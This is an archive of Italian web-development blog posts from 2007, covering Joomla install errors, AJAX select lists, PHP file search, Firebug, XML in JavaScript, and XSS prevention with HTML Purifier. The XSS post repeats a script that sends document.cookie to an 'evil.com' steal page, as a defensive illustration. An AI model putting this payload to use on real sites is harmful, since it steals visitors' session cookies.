venerdì 28 dicembre 2007

Joomla: impossibile trovare file setup XML

Colgo l'occasione di una richiesta di aiuto ricevuta da un lettore per spendere qualche parola su un problema che, a quanto pare, mette spesso in difficoltà utenti inesperti di Joomla: il messaggio di errore "Impossibile trovare un file setup XML nel pacchetto" che si riceve talvolta quando si tenta di installare un componente, modulo o plugin.

Diciamo subito che la cosa che crea maggior confusione è che messaggi di errore molto simili sono generati da Joomla in presenza di condizioni di errore diverse.

Andiamo con ordine.

File xml di installazione

I componenti (e lo stesso vale per moduli, plugin e template) Joomla includono un file xml che contiene tutte le informazioni necessarie all'installazione: nomi e cartelle di destinazione dei vari file, eventuali query sql che devono essere eseguite quando il componente viene installato o disinstallato ed altro che, per quello che interessa qui adesso, non è necessario esaminare in dettaglio.

E' chiaro che la presenza di questo file xml è essenziale perché Joomla possa portare a termine correttamente la procedura di installazione.

Cause dell'errore

Nonostante queste premesse e nonostante il tenore letterale del messaggio, la mancanza del file xml di installazione non è quasi mai la causa del messaggio di errore di cui stiamo parlando.

1) File xml in pacchetti all'interno di un pacchetto principale

Molto più frequentemente il file in questione esiste, solo non si trova dove Joomla si aspetta di trovarlo: nella radice del pacchetto (zip) di installazione del componente.

Spesso infatti capita che un componente sia distribuito insieme a moduli o plugin 'di contorno' e che lo sviluppatore crei, per semplicità di distribuzione, un unico archivio compresso contenente al suo interno i pacchetti di installazione del componente e dei relativi moduli e plugin. Sono questi pacchetti interni che contengono ognuno il proprio file xml di installazione.

Quindi se si tenta di installare il pacchetto principale (chiamiamolo così) ecco l'errore "Impossibile trovare un file setup XML nel pacchetto". Quello che si deve fare è estrarre dal file zip principale i pacchetti di installazione del componente, dei moduli e plugin ed installarli tutti uno per uno.

Di solito questa procedura è riportata in un file di istruzioni nel pacchetto, ma si sa che nessuno legge mai queste cose.

2) Errore di sintassi nel file xml

Una situazione particolare si verifica quando il file di xml di installazione è sì presente, ma contiene un errore di sintassi, per esempio un tag aperto e non chiuso. Praticamente solo coloro che sviluppano propri componenti possono trovarsi in questa situazione, se si utilizzano componenti sviluppati da altri si presume che questi siano stati testati almeno quanto basta per scoprire un problema che ne impedisce del tutto l'installazione.

Il messaggio di errore in questo caso è

Impossibile trovare un file setup Joomla! XML nel pacchetto

Come si vede è del tutto simile a quello visto per il caso precedente. Personalmente non ho mai fatto caso alla differenza finché non ho controllato il sorgente del componente installer.

Ho riportato i messaggi così come sono nella versione italiana di Joomla, ma non è assolutamente un problema di traduzione. La stessa somiglianza è presente anche nel testo in inglese.

Va detto che sarebbe stato opportuno differenziare meglio il messaggio di errore previsto per questo caso. Prima di capire che un errore di sintassi nel file xml e la mancanza dello stesso generano praticamente lo stesso messaggio di errore, si rischia di perdere un sacco di tempo (parlo per esperienza personale). Tant'è, questa è la situazione ed è bene esserne a conoscenza.

3) Incompatibilità tra componente e versione di Joomla

Con la diffusione della versione 1.5 di Joomla si è creata un'altra possibilità di errore: tentare di installare sulla versione 1.0 un componente scritto per Joomla 1.5.

Il messaggio è sempre

Impossibile trovare un file setup Joomla! XML nel pacchetto

L'ambiguità è anche in questo caso fonte di confusione. La prima cosa che si fa di fronte ad un messaggio di questo genere è aprire il pacchetto e vedendo che il file xml è presente non ci si rende conto della ragione dell'errore.

A parte controllare un eventuale file di istruzioni nel pacchetto, si può scoprire per quale versione di Joomla è stato creato il componente aprendo il file xml e controllandone le prime righe

Un file xml per Joomla 1.0 contiene alla seconda riga

<mosinstall type="component" version="1.0.0">

Un file xml per Joomla 1.5 contiene alla terza riga

<install type="component" version="1.5.0">

Fortunatamente nella situazione inversa, quando cioè si tenta di installare un componente creato per la versione 1.0 sulla versione 1.5 di Joomla, il messaggio è molto più specifico: si viene avvisati che il componente è incompatibile con la versione in uso di Joomla e viene suggerita l'attivazione del Legacy Mode per risolvere il problema.

Spero di aver fatto un po' di luce su un problema che, secondo la mia esperienza, crea spesso qualche imbarazzo agli utenti (specialmente i meno esperti) di Joomla. L'intenzione almeno era questa. Alla prossima.

lunedì 24 dicembre 2007

AJAX: Liste di Selezione Dinamiche

Visto il periodo festivo non è il caso di trattare argomenti troppo lunghi o complicati. Quindi mi limito ad un semplice esempio di codice che dimostra come risolvere un problema piuttosto comune. Utilizzare AJAX per generare dinamicamente il contenuto di una lista di selezione in base al valore selezionato dall'utente in un'altra lista.

Creeremo una pagina html con una lista di selezione (tag html select) contenente un elenco di regioni. Quando si seleziona una regione nella lista, un elenco di capoluoghi di provincia appartenenti a tale regione sarà aggiunto dinamicamente ad una seconda lista di selezione.

Il tutto ovviamente si appoggia a due tabelle (regioni e province) in un database MySQL.

Il listato dimostrativo completo è scaricabile dal sito (Liste AJAX). L'archivio zip può essere decompresso in una directory del vostro sito web o testato sul vostro PC se avete installato localmente Apache, MySQL e PHP (tramite ad esempio Wamp, Xampp o simili).

Il contenuto del file liste_ajax.zip è il seguente

  • index.html
  • lists.js
  • request.php
  • dbconfig.php
  • db.sql

Limiterò la spiegazione alle parti essenziali senza riportare qui tutto il codice, potrete trovare maggiori dettagli nei commenti all'interno dei sorgenti.

1) index.html

Il documento html contenente le due liste di selezione regioni e province. Da notare che i tag <select> non contengono nessun tag <option> al loro interno in quanto questi saranno generati ed aggiunti dinamicamente con AJAX.

2) lists.js

Contiene tutte le funzioni Javascript necessarie.

getXmlHttpObject crea un oggetto XMLHttpRequest che verrà utilizzato per inviare le richieste al server. Si tratta di codice direttamente tratto (per non saper nè leggere nè scrivere) dagli esempi presenti sul sito www.w3schools.com. Conviene utilizzare sempre questa funzione quando si lavora con AJAX perché è fatta in modo da garantire la compatibilità degli script con diversi browser.

loadList invia una richiesta al server passando a request.php il nome della tabella (regioni o province) da cui estrarre i valori da inserire nella lista di selezione e il valore del campo ID da usare nella clausola WHERE della query. Per la tabella province l'ID è quello della regione selezionata nella prima lista, per la tabella regioni il valore di ID è sempre zero.

La richiesta viene inviata al server in modalità asincrona quindi si specifica una funzione (stateChanged) che processerà il risultato della richiesta.

xmlHttp.onreadystatechange = stateChanged;

stateChanged riceve la risposta dal server e, se tutto è andato bene (xmlHttp.status == 200), svolge il lavoro di riempimento della lista di selezione generando dinamicamente gli elementi <option>. Il codice della funzione dovrebbe essere chiaro una volta esaminato il formato della risposta inviata dal server (vedi request.php).

addOption è una funzione di servizio che serve ad aggiungere dinamicamente un elemento <option> ad una lista di selezione <select>.

getSelected restituisce il valore dell'elemento correntemente selezionato in una lista. Viene utilizzata nell'evento onchange della lista regioni (vedi index.html).

3) request.php

Lo script che riceve la richiesta inviata dall'oggetto XMLHttpRequest, interroga il database e restituisce i dati per la generazione dinamica del contenuto della lista di selezione.

Quando la richiesta riguarda la tabella regioni vengono sempre restituiti tutti i record. Per la tabella province vengono restituiti i record il cui campo id_regione è uguale all'id passato nella richiesta ($_REQUEST['id']).

Il formato della risposta è

nome_tabella;id1|nome1;id2|nome2 ...

Le coppie id e nome sono ripetute tante volte quanti sono i record estratti.

4) dbconfig.php

Contiene le costanti per la connessione al database. Devono essere modificate con i valori necessari per connettersi al vostro server MySQL e database.

5) db.sql

Lo script sql necessario alla creazione delle tabelle regioni e province usate dal codice di esempio. Sono pochi campi, ma lanciando lo script vi risparmiate la fatica di creare le tabelle a mano e vi resta più tempo per incartare gli ultimi regali!

Per facilitare la comprensione del meccanismo conviene fare un esempio di cosa accade quando si visita la pagina web e si seleziona un elemento di una lista. Conviene seguire il percorso avendo i sorgenti a portata di mano.

1) index.html viene caricata nel browser. Le due liste di selezione sono vuote.

2) Un'istanza dall'oggetto XMLHttpRequest viene creata dall'istruzione

var xmlHttp = getXmlHttpObject();

nel file lists.js (caricato nell'header di index.html)

3) Questo script (prima di </body> in index.html)

<script type="text/javascript">
//<![CDATA[
loadList('regioni', 0);
//]]>
</script>

viene eseguito.

4) La funzione loadList invia questa richiesta al server

request.php?table=regioni&id=0

5) In request.php la richiesta si traduce in questa query

SELECT id, nome FROM `regioni` ORDER BY nome

Selezionati i record, il server invia questa risposta

regioni;4|Campania;2|Liguria;1|Lombardia;3|Toscana

6) La funzione Javascript stateChanged in lists.js elabora la risposta: la stringa è trasformata in array con la funzione Javascript split

var values = resp.split(';');

Il primo elemento dell'array viene estratto e utilizzato per identificare l'id della lista di selezione

var listId = values.shift();
var select = document.getElementById(listId);

Gli altri elementi dell'array sono processati uno ad uno. I valori del campo ID e Nome (separati da |) sono utilizzati rispettivamente come attributo value e testo visibile dei tag <option> che sono creati ed aggiunti alla lista di selezione con la funzione addOption.

Questo è il codice html generato dinamicamente ed aggiunto alla lista di selezione regioni

<option value="4">Campania</option>
<option value="2">Liguria</option>
<option value="1">Lomabardia</option>
<option value="3">Toscana</option>

A questo punto supponiamo di selezionare Toscana nella lista. Questo è quello che accade.

1) Viene eseguito il codice nell'evento onchange della lista regioni

onchange="loadList('province', getSelected(this))"

La funzione getSelected ritorna l'attributo value dell'elemento <option> selezionato (Toscana -> 3)

2) La funzione loadList invia questa richiesta al server

request.php?table=province&id=3

3) In request.php viene quindi eseguita la query

SELECT id, nome FROM `province` WHERE id_regione=3 ORDER BY nome

e la risposta è

province;5|Firenze;6|Lucca

Da qui in poi è tutto come sopra. La funzione stateChanged elabora la richiesta e genera il contenuto della lista province.

Possiamo concludere. Dovrebbe essere abbastanza facile estendere il codice per includere ulteriori livelli. Per esempio tre liste di selezione: regioni, province e comuni.

Anche se l'esempio non è originalissimo, la spiegazione, forse, è un po' più dettagliata di quelle che si trovano in giro. Spero vi sia utile.

Buone Feste a tutti.

venerdì 14 dicembre 2007

PHP: Ricerca File in Directory

Rispondo ad una domanda ricevuta da un lettore (stile rubrica Donna Letizia)

Sto cercando di scrivere una funzione in PHP per la ricerca di un file con una certa estensione partendo da una directory e includendo nella ricerca tutte le sotto-directory contenute in essa anche su più livelli. Fino ad elencare tutti i file di una directory ci arrivo, ma il problema è che non so in anticipo quanti livelli di sotto-directory ci sono e come fare ad includerli tutti nella ricerca. Sembrava facile, ma mi sono bloccato. Se potessi darmi un suggerimento, forse una funzione di ricerca file può servire anche ad altri.

Per fare una cosa di questo genere conviene usare una funzione ricorsiva. Si passano come argomenti il percorso della cartella da cui iniziare la ricerca, l'estensione cercata e un array che conterrà i file trovati. Con l'istruzione readdir si elencano tutti i file e le directory, con preg_match si trovano i file con l'estensione desiderata e si aggiungono all'array, mentre la funzione richiama sè stessa ricorsivamente su ogni directory incontrata.

Il codice è

function searchFile($folder, $srch, &$results) {
  $folder = rtrim($folder, "/") . '/';
  if ($hd = opendir($folder)) {
    while (false !== ($file = readdir($hd))) { 
      if($file != '.' && $file != '..') {
        if(is_dir($folder . $file)) {
          searchFile($folder. $file, $srch, $results);
        } elseif(preg_match("#\.$srch$#", $file)) {
          $results[] = $folder . $file;
        }
      }
    }
    closedir($hd); 
  }
}

Un esempio di utilizzo potrebbe essere il seguente

$r=array();
searchFile('c:/test/', 'exe', $r);
foreach($r as $f) {
  echo $f, '<br />';
}

Si cercano tutti i file con estensione exe nella directory c:/test e tutte le sue sotto-directory e si stampa poi l'array dei risultati.

Da notare che il percorso della cartella da cui iniziare la ricerca va indicato utilizzando il separatore di directory stile Unix ( / ) e non Windows ( \ ).

Se poi si volesse modificare la funzione per effettuare una ricerca in base al nome esatto e non all'estensione del file, basterebbe passare il nome del file nell'argomento $srch e modificare questa unica riga

} elseif(preg_match("#\.$srch$#", $file)) {
in questo modo
} elseif($srch == $file) {

Tutto qui. Spero possa essere utile.

Le funzioni ricorsive sono una soluzione ideale per attraversare strutture ad albero in cui la profondità dei livelli (nel nostro esempio directory e sotto-directory) non sia predeterminabile.

Può essere difficile capire il meccanismo le prime volte che si incontrano funzioni di questo tipo, ma per chi fosse interessato ad approfondire la cosa i motori di ricerca offrono tutto il materiale che si vuole anche con esempi di codice diversi da quello che abbiamo visto.

sabato 8 dicembre 2007

PHP: Prevenire attacchi cross site scripting (xss)

Può capitare che una nostra applicazione PHP debba ricevere e processare un input in formato HTML. Per esempio del testo inserito dagli utenti con un editor visuale Javascript (come TinyMCE giusto per nominarne solo uno). Questi editor sono indubbiamente utili in quanto consentono di utilizzare un'interfaccia grafica simile ad un word processor, perciò familiare anche agli utenti meno esperti, per formattare un testo con font, stili, colori e altri attributi per poi passare il codice HTML risultante ad uno script.

La tentazione di usare un editor visuale nelle nostre applicazioni per consentire agli utenti di inviare i propri articoli o altri contributi in un formato esteticamente più gradevole del nudo testo, può essere forte e non è detto che sia una tentazione a cui si debba necessariamente resistere. Va però tenuto presente che quando si riceve da una fonte esterna del codice HTML destinato alla pubblicazione sul nostro sito, è essenziale adottare le opportune misure per filtrare e neutralizzare script o altro codice malevolo che potrebbe essere inserito da un utente malintenzionato.

In particolare bisogna prevenire i cosiddetti attacchi cross site scripting (xss).

Cos'è un attacco cross site scripting

La tipologia di attacco cross site scripting (abbreviato xss) che più ci interessa qui è quella che si verifica quando codice HTML dannoso viene passato ad uno script PHP il cui output è destinato alla visualizzazione in una pagina web.

Potenzialmente vulnerabili ad attacchi xss sono tutte le applicazioni che generano dinamicamente pagine web basandosi su un input esterno: forum, guestbook, wiki, siti che pubblicano articoli o commenti inviati dagli utenti.

E' chiaro che l'esempio fatto all'inizio di applicazione che riceve il proprio input attraverso un editor visuale è solo uno dei possibili casi, codice HTML può essere passato anche attraverso un semplice campo textarea o usando un software che invii direttamente dati allo script scavalcando qualsiasi protezione lato client.

Esempio di attacco cross site scripting

Supponiamo che un utente inserisca il seguente codice in un post su un forum.

<script>
document.location='http://www.evil.com/steal.php?cookies='+
document.cookie;
</script>

Se l'applicazione non neutralizza questo codice (vedremo dopo come), una volta che il post è pubblicato, i cookies di chiunque lo legga saranno inviati ad uno script su un altro dominio. Poiché i cookies sono frequentemente usati per conservare l'identificatore di sessione degli utenti autenticati, una volta venuto a conoscenza del contenuto di un cookie di un utente, un malintenzionato può impersonare lo stesso utente sul sito di provenienza e, per esempio, postare a suo nome sul forum. Purché chiaramente riesca a farlo prima che la sessione il cui identificativo è stato rubato sia scaduta o terminata (ovvia precisazione).

Questo è tutto sommato un esempio banale. Un attacco xss avrà conseguenze tanto più dannose quanto più sensibili sono le informazioni di cui si può venire a conoscenza tramite l'accesso illecito all'account di un utente.

Soluzioni

Per rendere le nostre applicazioni sicure da attacchi xss sono possibili due soluzioni: una più estrema o radicale, l'altra più selettiva e, in certo modo, più sofisticata.

Uso di htmlentities()

La soluzione più estrema consiste nel filtrare con la funzione PHP htmlentities() tutti i dati ricevuti da una fonte esterna e destinati ad essere visualizzati in una pagina web. In questo modo tutti i caratteri speciali saranno convertiti in entità HTML. Ad esempio > diventa &gt;, < diventa &lt; e così via. Si può facilmente verificare che in questo modo lo script di esempio visto sopra verrebbe reso visibile come testo nella pagina, ma non eseguito dal browser.

Classe per 'filtrare' codice HTML

Il problema della soluzione appena vista è che ci sono situazioni in cui si vuole consentire all'utente l'uso di codice HTML per formattare i contenuti che vengono inviati all'applicazione.

In questi casi conviene utilizzare una funzione filtro personalizzata che consenta di utilizzare solo un certo numero di tag HTML e converta in entità o rimuova tutti gli altri.

Non volendo realizzare da soli una funzione del genere, si può ricorrere a soluzioni già pronte all'uso.

HTML Purifier

HTML Purifier è una libreria pensata per l'uso in applicazioni che necessitano di processare codice HTML ricevuto in input da una fonte non sicura e che ha la funzione sia di proteggere da attacchi xss, sia di assicurare che il codice HTML sia valido e conforme agli standard.

HTML Purifier è open source (GNU LGPL) e molto ben documentata. La documentazione è in inglese per cui penso valga la pena scrivere qualche nota generale su come utilizzare questa libreria.

Installazione

Scaricato il pacchetto di installazione dal sito conviene decomprimerlo sul PC locale per poi trasferire sullo spazio web soltanto la cartella library, l'unica che serve.

Si deve poi impostare come scrivibile (chmod 755 o 777 a seconda delle impostazioni del vostro server) la cartella

path_to_library/HTMLPurifier/DefinitionCache/Serializer

dove path_to_library è il percorso sul server fino alla cartella library di HTML Purifier.

Esempio d'uso

Per prima cosa bisogna includere la libreria

require_once 'path_to_library/HTMLPurifier.auto.php';

Per svolgere il suo lavoro la libreria deve conoscere Doctype e set di caretteri utilizzati nella pagina web dove il codice da validare sarà inserito. Le impostazioni predefinite sono XHTML Transitional e UTF-8. Per cambiarle

require_once 'path_to_library/HTMLPurifier.auto.php';

$cfg = HTMLPurifier_Config::createDefault();
$cfg ->set('Core', 'Encoding', 'ISO-8859-1');
$cfg ->set('HTML', 'Doctype', 'HTML 4.01 Transitional');

Chiaramente ISO-8859-1 e HTML 4.01 Transitional vanno sostituiti con il set di caratteri e Doctype desiderato.

A questo punto vediamo un esempio di validazione

require_once 'path_to_library/HTMLPurifier.auto.php';

$html = <<<EOD
<p>paragrafo di prova, <b>testo grassetto</b>, 
<a href="http://www.example.com" onclick="alert('ciao')">link</a>
<script>
document.location='http://www.evil.com/steal.php?cookies='+
document.cookie;
</script>
EOD;

$filter = new HTMLPurifier(); 
$filtered_html = $filter->purify($html);
echo $filtered_html;

L'output è

<p>paragrafo di prova, <b>testo grassetto</b>, 
<a href="http://www.example.com">link</a>
</p>

Tutti gli script sono stati rimossi sia quello racchiuso tra <script> e </script> sia quello nell'evento onclick nel tag <a>. Inoltre è stato aggiunto un tag di chiusura </p> che era stato omesso.

Si può quindi vedere anche da un esempio così semplice come HTML Purifier sia in grado non solo di rimuovere le fonti di possibili attacchi xss, ma anche di correggere il codice secondo le regole di validazione proprie del Doctype selezionato. Tutto questo senza aver impostato alcuna particolare opzione di configurazione perché per impostazione predefinita HTML Purifier rimuove tutti i tag e gli attributi potenzialmente pericolosi.

Se vogliamo consentire un insieme ancora più ristretto di tag possiamo farlo in questo modo

$html = <<<EOD
<p align="center" class="test">paragrafo di prova, 
<b>testo grassetto</b>, <u>sottolineato</u>
<a href="http://www.example.com" onclick="alert('ciao')">link</a>
<script>
document.location='http://www.evil.com/steal.php?cookies='+
document.cookie;
</script>
EOD;

$cfg = HTMLPurifier_Config::createDefault();
$cfg ->set('HTML', 'AllowedElements', 'b,i,p,br,a');
$cfg ->set('HTML', 'AllowedAttributes', '*.class, a.href');
$filter = new HTMLPurifier($cfg); 
$filtered_html = $filter->purify($html);
echo $filtered_html;

Con il parametro di configurazione AllowedElements si imposta la lista dei tag HTML consentiti, con AllowedAttributes quella degli attributi consentiti. *.class significa che l'attributo class è ammesso per tutti i tag, a.href che l'attributo href è ammesso solo per il tag <a>.

L'output è quello che ci si aspetta.

<p class="test">paragrafo di prova, 
<b>testo grassetto</b>, sottolineato
<a href="http://www.example.com">link</a>
</p>

Tutti gli script sono stati rimossi, così come i tag <u> </u> e l'attributo align in quanto non compresi tra gli elementi e attributi consentiti.

Altre funzioni utili di HTML Purifier

Per finire vale la pena menzionare un paio di funzionalità di formattazione automatica del codice che possono tornare utili in molti casi.

Creazione automatica paragrafi

Tag <p> e </p> possono essere automaticamente inseriti intorno a blocchi di testo separati tra loro da due caratteri consecutivi di ritorno a capo. La funzione è abbastanza intelligente da non inserire paragrafi dove non è consentito. Il paramentro di configurazione da impostare per questa funzionalità è
$cfg = HTMLPurifier_Config::createDefault();
$cfg ->set('AutoFormat', 'AutoParagraph', true);

Creazione automatica di link

Una url presente nel testo passato al filtro può essere automaticamente trasformata in link attivo.
$cfg = HTMLPurifier_Config::createDefault();
$cfg ->set('AutoFormat', 'Linkify', true);

Sul sito ufficiale è disponibile un demo online: inserendo codice HTML in un modulo e impostando diverse opzioni di configurazione si possono vedere le trasformazioni effettuate dal filtro. Vale la pena spenderci un po' di tempo e toccare con mano le potenzialità della libreria.

Per il momento è tutto anche se di HTML Purifier avremo probabilmente occasione di parlare ancora in futuro in quanto è un'ottima soluzione per creare applicazioni PHP più robuste e proteggere da attacchi cross site scripting i visitatori del vostro sito.

venerdì 30 novembre 2007

Firebug: Plugin Firefox per Sviluppatori

Firebug è un plugin per Mozilla Firefox che mette a disposizione una serie di strumenti utili per disegnatori di siti web e sviluppatori.

La documentazione ufficiale è piuttosto scarna per cui ho pensato fosse utile spendere alcune parole su come utilizzarlo.

Nota preliminare: se le immagini non sono chiare cliccatele per visualizzarle a pieno schermo

Una volta installato il plugin crea una voce Firebug all'interno del menu Strumenti di Firefox. Selezionando Open Firebug il plugin apre una finestra nella parte bassa dello schermo.

Visualizzazione html e css

La finestra è divisa in due parti. La parte sinistra mostra il codice html della pagina web con evidenziazione in diversi colori della sintassi dei tag e attributi e una corretta indentazione dei vari blocchi per migliorare la leggibilità del codice. Agendo sulle icone con i segni + e - a fianco di ciascun tag di apertura è possibile espandere o collassare il blocco relativo. In questo modo è facile mettere in evidenza soltanto la parte di codice su cui si vuole lavorare.

Muovendo il puntatore al di sopra di un tag html, la parte di pagina web generata da quel blocco di codice viene evidenziata in un diverso colore.

Si può anche seguire il percorso inverso, partire cioè dalla pagina web visualizzata per arrivare al codice. Basta premere il pulsante Inspect sulla barra strumenti di Firebug e muovere il puntatore del mouse sulla porzione visibile della pagina web. Una volta posizionatisi sulla parte che ci interessa, (un bordo viene disegnato intorno ai vari blocchi per facilitarci il posizionamento) basta cliccare e il codice corrispondente a quella parte di pagina verrà visualizzato nella finestra del plugin.

In questo modo è molto facile orientarsi nel codice e questo è uno dei motivi per cui l'uso di Firebug è estremamente intuitivo.

Restando sulla finestra di visualizzazione del codice html, altre funzionalità del plugin sono accessibili premendo il pulsante destro del mouse. Vediamo le più importanti

  • New Attribute. Aggiunge un attributo al tag html su cui è posizionato il puntatore del mouse.
  • Edit. Apre una finestra di editing dove è possibile modificare il tag html corrente, i suoi attributi e il contenuto, ad esempio il testo racchiuso in un tag div o paragrafo.
  • Delete Element. Rimuove il tag corrente dal documento.

L'effetto di tutte le modifiche apportate mediante queste funzioni si riflette in tempo reale sull'aspetto della pagina web visualizzata. Naturalmente ciò che viene modificato è solo la versione del documento nella memoria del browser, una volta soddisfatti del risultato occorre aprire il documento html con un editor e riportarvi le modifiche o queste verranno perse quando la pagina viene ricaricata.

Visualizzazione dei fogli di stile CSS

La parte destra della finestra del plugin mostra i fogli di stile CSS associati alla pagina web visualizzata. Le due viste, html e css sono automaticamente sincronizzate tra loro. Se si seleziona con il mouse un tag html nella finestra del codice, la finestra CSS mostra le proprietà impostate nel foglio di stile ed applicabili a quel tag.

Da notare che tutte le proprietà impostate in un selettore applicabile al tag html selezionato sono visualizzate in cascata. Un esempio è necessario.

Supponiamo di aver creato un foglio di stile con alcune proprietà in un selettore per tutti i paragrafi del documento e altre in un selettore specifico per i paragrafi di una certa classe. In questo modo.

p {
  margin: 15px;
  font-size: 10pt;
}

p.small {
  font-size: 8pt;
}

Una volta assegnato questo foglio di stile ad un documento, il codice viene mostrato da Firebug come nella immagine sottostante.

Quando il tag del paragrafo di classe small è selezionato nella vista del codice html, si può notare come la vista css riporti sia il selettore paragrafo sia il selettore più specifico per i paragrafi di classe small. La proprietà font-size all'interno del primo selettore è sbarrata ad indicare che è stata sovrascritta dalla proprietà impostata nel selettore più specifico.

La possibilità di individuare a colpo d'occhio quali proprietà sono applicabili alla parte di codice html in esame e in quali selettori sono impostate è utilissima quando si vuole modificare l'aspetto di pagine web con fogli di stile complessi.

Firebug rende molto semplice vedere l'effetto che avrebbe la rimozione di una determinata proprietà da un selettore. Se posizionamo il puntatore del mouse a fianco della proprietà font-size nel selettore p.small e premiamo il pulsante sinistro compare il simbolo () e la proprietà viene disabilitata. Allo stesso tempo la proprietà font-size nel selettore p non è più sbarrata e la pagina web si aggiorna per riflettere la nuova dimensione di font assegnata al paragrafo.

Sempre restando all'interno della vista css sono disponibili ulteriori funzioni

  • Modifica di una proprietà. Facendo click sul valore di una proprietà si apre un piccolo campo di testo dove si può impostare il nuovo valore.
  • Inserimento di nuova proprietà. Fare click con il pulsante destro all'interno del selettore e selezionare New Property.
  • Cancellazione di una proprietà. Fare click con il pulsante destro sul nome o valore della proprietà e selezionare Delete.

Vale anche in questo caso quanto detto per la modifica del sorgente html della pagina. Modificare il css tramite Firebug è utile per vedere in tempo reale l'effetto delle modifiche sull'aspetto del documento quando è visualizzato nel browser, ma il plugin in sè non è un editor, una volta che si è soddisfatti del risultato si dovrà editare il file css e riportarvi le modifiche effettuate.

Debugging di script Javascript

Premendo il pulsante Script sulla barra strumenti si visualizza il sorgente di tutti gli script Javascript attivi sulla pagina corrente sia quelli incorporati nel sorgente che quelli richiamati da file esterni.

Facendo click su un numero di riga del sorgente si ha la possibilità di impostare dei punti di interruzione. Quando si ricarica la pagina l'esecuzione dello script si ferma al primo punto di interruzione. Si può quindi continuare l'esecuzione passo passo o far proseguire lo script fino al successivo punto di interruzione. La parte destra dello schermo (finestra Watch) mostra i valori aggiornati di tutte le variabili, inclusi gli oggetti, dichiarate nel codice.

Non abbiamo esaurito tutte le funzioni di Firebug, ma le rimanenti possono essere facilmente apprese installando il plugin e facendo qualche esperimento.

Firebug è un ottimo prodotto. Il debugger Javascript a volte risulta un po' instabile e può provocare il blocco di Firefox, le funzioni per esplorare html e css sono comunque, anche da sole, una ragione più che sufficiente per installare questo plugin.

martedì 27 novembre 2007

Javascript: processare documenti XML

Javascript mette a disposizione una serie di oggetti e funzioni per processare e manipolare documenti XML. Possono tornare utili in diversi casi per cui penso sia interessante vedere alcuni esempi di codice.

Il documento XML che utilizzeremo negli esempi è compositori.xml (se cliccate il link dovreste visualizzarlo nel vostro browser).

Non è il caso di fare qui troppa teoria su XML, basterà dire quanto basta per comprendere il codice.

Un documento XML è organizzato gerarchicamente in una struttura ad albero costituita da un nodo radice che a sua volta contiene tutti gli altri nodi. Ogni nodo, ad eccezione della radice, ha un nodo padre e può contenere altri nodi, detti figli. I nodi con lo stesso nodo padre sono detti fratelli, mentre i figli dei figli di un nodo (così come i figli dei figli dei figli per potenzialmente infinite generazioni) sono detti discendenti del nodo. A ciascun nodo inoltre possono essere associate delle proprietà (attributi).

Parser XML

Prima di poter compiere una qualsiasi operazione su file XML è necessario ottenere un'istanza del parser XML. Per fare questo, come spesso succede, si è costretti a scrivere codice Javascript differenziato tra Internet Explorer e resto del mondo.

1) Internet Explorer

var xmlDoc=new ActiveXObject("Microsoft.XMLDOM");

2) Firefox, Mozilla, Opera e altri

var xmlDoc=document.implementation.createDocument("","",null);

Ottenuta una istanza del parser possiamo caricare il documento in questo modo

xmlDoc.async=false;
xmlDoc.load("compositori.xml");

Impostando async a false ci assicuriamo che lo script attenda il completo caricamento del documento XML prima di proseguire l'esecuzione.

Radice (root) del documento XML

L'elemento radice del documento può essere sempre ottenuto con

var root = xmlDoc.documentElement;

Tipi di nodo

L'oggetto radice, come tutti gli altri nodi, possiede tre proprietà fondamentali: nodeType, nodeName, nodeValue.

Se, facendo riferimento al nostro documento, scriviamo

document.write('Nome: ' + root.nodeName);
document.write('<br />');
document.write('Tipo: ' + root.nodeType);
document.write('<br />');
document.write('Valore: ' + root.nodeValue);

Otteniamo il seguente output

Nome: compositori
Tipo:1
Valore: null

che ci dice che il nodo radice del documento ha nome compositori ed è di tipo Elemento. La proprietà nodeType può avere infatti i seguenti valori

  • 1 - Elemento
  • 2 - Attributo
  • 3 - Testo
  • 8 - Commento
  • 9 - Documento

Il nodo non ha valore (nodeValue è null) come tutti i nodi di tipo Elemento.

Proprietà childNodes

La proprietà childNodes di un nodo di tipo Elemento restituisce la lista di tutti i sottoelementi o nodi figli.

Scorriamo i figli del nodo radice compositori

for (var i=0; i < root.childNodes.length;  i++)  {
  document.write('Nome: ' + root.childNodes[i].nodeName);
  document.write('<br />');
  document.write('Tipo: ' + root.childNodes[i].nodeType);
  document.write('<br />');
  document.write('Valore: ' + root.childNodes[i].nodeValue);
  document.write('<br /><br />');
}

Se eseguiamo il codice si ottiene

Nome: compositore
Tipo: 1
Valore: null

Nome: compositore
Tipo: 1
Valore: null

Nome: compositore
Tipo: 1
Valore: null

Infatti il nodo radice (compositori) ha tre nodi figli (compositore) tutti di tipo Elemento, basta un'occhiata alla struttura del documento per capire che tutto torna. C'è solo un problema. Quanto riportato sopra si ottiene eseguendo il codice in Internet Explorer. Con Firefox e gli altri browser lo stesso codice genera il seguente output

Nome: #text
Tipo: 3
Valore:

Nome: compositore
Tipo: 1
Valore: null

Nome: #text
Tipo: 3
Valore:

Nome: compositore
Tipo: 1
Valore: null

Nome: #text
Tipo: 3
Valore:

Nome: compositore
Tipo: 1
Valore: null

Nome: #text
Tipo: 3
Valore: 

Da dove vengono quei 4 nodi di tipo Testo in più? Sono gli a capo e i caratteri di tabulazione usati per separare e spaziare i tag relativi ai nodi figlio (<compositore>) rispetto al tag del nodo padre (<compositori>). In Internet Explorer vengono scartati automaticamente, negli altri browser vengono considerati nodi figlio di tipo Testo.

Un modo per ovviare al problema, e uniformare i risultati tra i diversi browser quando si utilizza Javascript per processare documenti XML, è scriversi una funzione personalizzata che, dato un nodo, ne restituisca i nodi figli di tipo Elemento escludendo gli altri tipi. La funzione potrebbe essere questa.

function childElements(node) {
  var elements = new Array();
  for (var i=0; i < node.childNodes.length;  i++)  {
    if(node.childNodes[i].nodeType == 1) {
      elements.push(node.childNodes[i]);
    }
  }
  return elements;
}

Proprietà nextSibling e previousSibling

Nodi con lo stesso nodo padre sono detti fratelli. Un oggetto nodo possiede due proprietà, previousSibling e nextSibling, che restituiscono rispettivamente il nodo fratello precedente e successivo, nell'ordine in cui i nodi appaiono nel documento XML.

Nel documento di esempio i nodi nome, data_nascita e data_morte del medesimo nodo compositore sono tra loro fratelli.

Otteniamo i nodi figli del primo nodo compositore utilizzando la funzione childElements() creata sopra. Poi proviamo a passare dal primo nodo al nodo fratello

var elements = childElements(root);
//elements[0] -> primo nodo compositore
var siblings = childElements(elements[0]);
document.write(siblings[0].nodeName);
document.write('<br />');
document.write(siblings[0].nextSibling.nodeName);

L'output in Internet Explorer è

nome
data_nascita

E tutto torna. Il primo figlio del primo nodo compositore è il nodo nome e il successivo fratello è il nodo data_nascita

